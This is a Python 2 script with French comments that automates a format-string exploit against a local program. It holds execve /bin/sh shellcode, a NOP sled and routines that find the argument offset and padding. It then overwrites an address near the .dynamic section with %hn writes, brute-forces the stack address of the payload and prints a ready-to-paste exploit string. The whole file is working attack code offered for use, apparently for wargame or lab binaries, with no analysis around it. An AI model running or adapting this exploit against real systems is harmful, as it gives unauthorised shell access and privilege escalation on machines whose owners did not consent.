1. import sys
  2. from struct import pack
  3. from subprocess import Popen, PIPE
  4.  
  5. class FrmtStr:
  6.         def __init__(self, warp):
  7.                 self.warp = warp
  8.                 self.cmd = 'id'
  9.                 # execve /bin/sh
  10.                 self.sc = '\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80'
  11.                 # \xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81
  12.                 self.pad = '\xCC'*8000
  13.                 self.stackAddr = 0
  14.                 self.funcPtr = 0
  15.  
  16.         def exploit(self):
  17.         # on essaye de trouver l'adresse du payload de facon automatique
  18.                 if(self.findOffset()):
  19.                         print '\x1B[0;31mWrong format string offset\x1B[0m'
  20.                         return -1
  21.                 print '\x1B[0;32marg is at: %d (%d padding)\x1B[0m' % (self.info[0], self.info[1])
  22.                 if(self.findAddr()):
  23.                         print '\x1B[0;31mUnable to find suitable adress\x1B[0m'
  24.                         return -1
  25.                 print '\x1B[0;32mwritable adress: 0x'+str(self.funcPtr)+'\x1B[0m'
  26.                 print '\x1B[0;32mpayload  adress: 0x'+str(self.stackAddr)+'\x1B[0m'
  27.                 print '\x1B[0;32mExecute payload : \x1B[0;33m'+self.printArg()+'\x1B[0m'
  28.  
  29.                 buff = self.createBuff()
  30.                 payload = '\x90'*(len(self.pad)-len(self.sc))+self.sc
  31.                 try:
  32.                         ret = self.warp.spwn(buff, payload, self.cmd+' >&2')[1][:-1]
  33.                         if(len(str(ret))<=0):
  34.                                 print '\x1B[0;31mUnable to load Shellcode, padding too small? (%d octet)\x1B[0m' % len(self.pad)
  35.                                 return -1
  36.                 except:
  37.                         print '\x1B[0;31mUnable to load Shellcode, padding too small? (%d octet)\x1B[0m' % len(self.pad)
  38.                         return -1
  39.                 print '\x1B[0;36m'+ret+'\x1B[0m'
  40.                 return 0
  41.  
  42.         def createBuff(self):
  43.         # creation du buffer pour exploiter la format string
  44.                 addr = self.funcPtr
  45.                 val = self.stackAddr
  46.  
  47.                 try:
  48.                         buff = pack('<L', int(addr,16)) + pack('<L', int(addr,16)+2)
  49.                
  50.                         lsb = int(val[4:], 16)-8-self.info[1]
  51.                         if(lsb < 0):
  52.                                 lsb = lsb+65535
  53.                         msb = int(val[:4], 16)-7-self.info[1]-lsb
  54.                         if(msb < 0):
  55.                                 msb = msb+65535
  56.                         lsb = str(lsb).zfill(5)
  57.                         msb = str(msb).zfill(5)
  58.  
  59.                         buff = buff+'X'*self.info[1]+'%.'+lsb+'u%'+str(self.info[0])+'\x24hn'+'%.'+msb+'u%'+str(self.info[0]+1)+'\x24hn'
  60.                 except:
  61.                         return -1
  62.                 return buff
  63.  
  64.         def findOffset(self):
  65.         # Fonction permettant de trouver l'offset et le padding pour exploiter la format string
  66.                 argOnStack = False
  67.                 buff = 'AAAABBBB'+'%x.'*50
  68.         # recherche de l'offset
  69.                 while not argOnStack:
  70.                         buff = buff+buff[8:]
  71.                         try:
  72.                                 out = self.warp.spwn(buff, self.pad, 3)[0]
  73.                                 out = out.split('.')
  74.                                 for i in range(len(out)):
  75.                                         if(out[i].find('4141')>=0):
  76.                                                 if(out[i+1].find('4242')>=0):
  77.                                                         argOnStack = True
  78.                                                         ind = i
  79.                         except:
  80.                                 return -1
  81.         # fiabilisation de l'offset
  82.                 ind = ind-ind/10
  83.                 try:
  84.                         while(1):
  85.                                 buff = 'AAAABBBB'+'%'+str(ind)+'\x24x.'+'%'+str(ind+1)+'\x24x.'
  86.                                 out = self.warp.spwn(buff, self.pad, 3)[0]
  87.                                 out = out.split('.')[0]
  88.                                 if(out.find('4141')>=0):
  89.                                         break
  90.                                 ind = ind+1
  91.                 except:
  92.                         return -1
  93.         # calcule du padding
  94.                 pad = 0
  95.                 try:
  96.                         for i in range(2):
  97.                                 for j in range(4):
  98.                                         buff = 'AAAABBBB'+'X'*j+'%'+str(ind)+'\x24x.'+'%'+str(ind+1)+'\x24x.'
  99.                                         out = self.warp.spwn(buff, self.pad, 3)[0]
  100.                                         out = out.split('.')
  101.                                         if(out[0].find('41414141')>=0 and out[1].find('42424242')>=0):
  102.                                                 pad = j
  103.                                                 break
  104.                                 if(out[0].find('41414141')>=0 and out[1].find('42424242')>=0):
  105.                                         break
  106.                                 ind = ind-1
  107.                 except:
  108.                         return -1
  109.  
  110.                 self.info = [ind, pad]
  111.                 return 0
  112.  
  113.         def findAddr(self):
  114.                 # Trouver l'adresse a ecraser et le payload sur la pile
  115.                 prcent = 0
  116.  
  117.                 args = ['objdump', '-h', self.warp.path]
  118.                 p = Popen(args, stdout=PIPE)
  119.                 out = p.communicate()[0]
  120.                 out = out.split('\n')
  121.                 for ret in out:
  122.                         if(ret.find('.dynamic')>0):
  123.                                 ret = ret.split(' ')[-5]
  124.                                 self.funcPtr = ret
  125.  
  126.                 ret = 0
  127.                 self.stackAddr = 'e2345678'
  128.                
  129.                 for i in range(20):
  130.                         self.funcPtr = '%08x' % (int(self.funcPtr, 16)+4)
  131.                         buff = self.createBuff()
  132.                         ret = self.warp.spwn(buff, self.pad, -1)
  133.                         if(ret != 0): break
  134.  
  135.                 ret = 0
  136.                 self.stackAddr = 'bfffffff' # 0xbfffffff sommet stack
  137.                 stackBf = int(self.stackAddr, 16)-0xbffe0000
  138.                 while(int(self.stackAddr,16)>0xbffe0000):
  139.                         buff = self.createBuff()
  140.                         ret = self.warp.spwn(buff, self.pad, -1)
  141.                         if(ret==5):
  142.                                 break
  143.                         if(ret==4):
  144.                                 self.stackAddr = '%08x' % (int(self.stackAddr, 16)+len(self.sc))
  145.                         self.stackAddr = '%08x' % (int(self.stackAddr, 16)-len(self.pad))
  146.  
  147.                         prcent = ((((int(self.stackAddr, 16)-0xbfffffff)*-1)*10000)/stackBf) # cette ligne est aussi moche que pp
  148.                         sys.stdout.write("\r\x1B[0;35mGuessing stack: %02d.%02d%%\x1B[0m" % (prcent/100, prcent%100))
  149.                         sys.stdout.flush()
  150.                 sys.stdout.write("\r")
  151.                 return 0
  152.  
  153.         def printArg(self):
  154.         # on affiche la chaine d'exploitation utilisee par le script   
  155.                 addr = self.funcPtr
  156.                 val = self.stackAddr
  157.                 buff = '`python -c "print \''
  158.        
  159.                 try:
  160.                         buff = buff+'\\x'+addr[6:8]+'\\x'+addr[4:6]+'\\x'+addr[2:4]+'\\x'+addr[0:2]
  161.                         buff = buff+'\\x'+'%02x'%(int(addr[6:8], 16)+2)+'\\x'+addr[4:6]+'\\x'+addr[2:4]+'\\x'+addr[0:2]
  162.  
  163.                         lsb = int(val[4:], 16)-8-self.info[1]
  164.                         if(lsb < 0):
  165.                                 lsb = lsb+65535
  166.                         msb = int(val[:4], 16)-7-self.info[1]-lsb
  167.                         if(msb < 0):
  168.                                 msb = msb+65535
  169.                         lsb = str(lsb).zfill(5)
  170.                         msb = str(msb).zfill(5)
  171.  
  172.                         buff = buff+'X'*self.info[1]+'%.'+lsb+'u%'+str(self.info[0])+'\\x24hn'+'%.'+msb+'u%'+str(self.info[0]+1)+'\\x24hn\x27"`'
  173.                 except:
  174.                         return -1
  175.                 return buff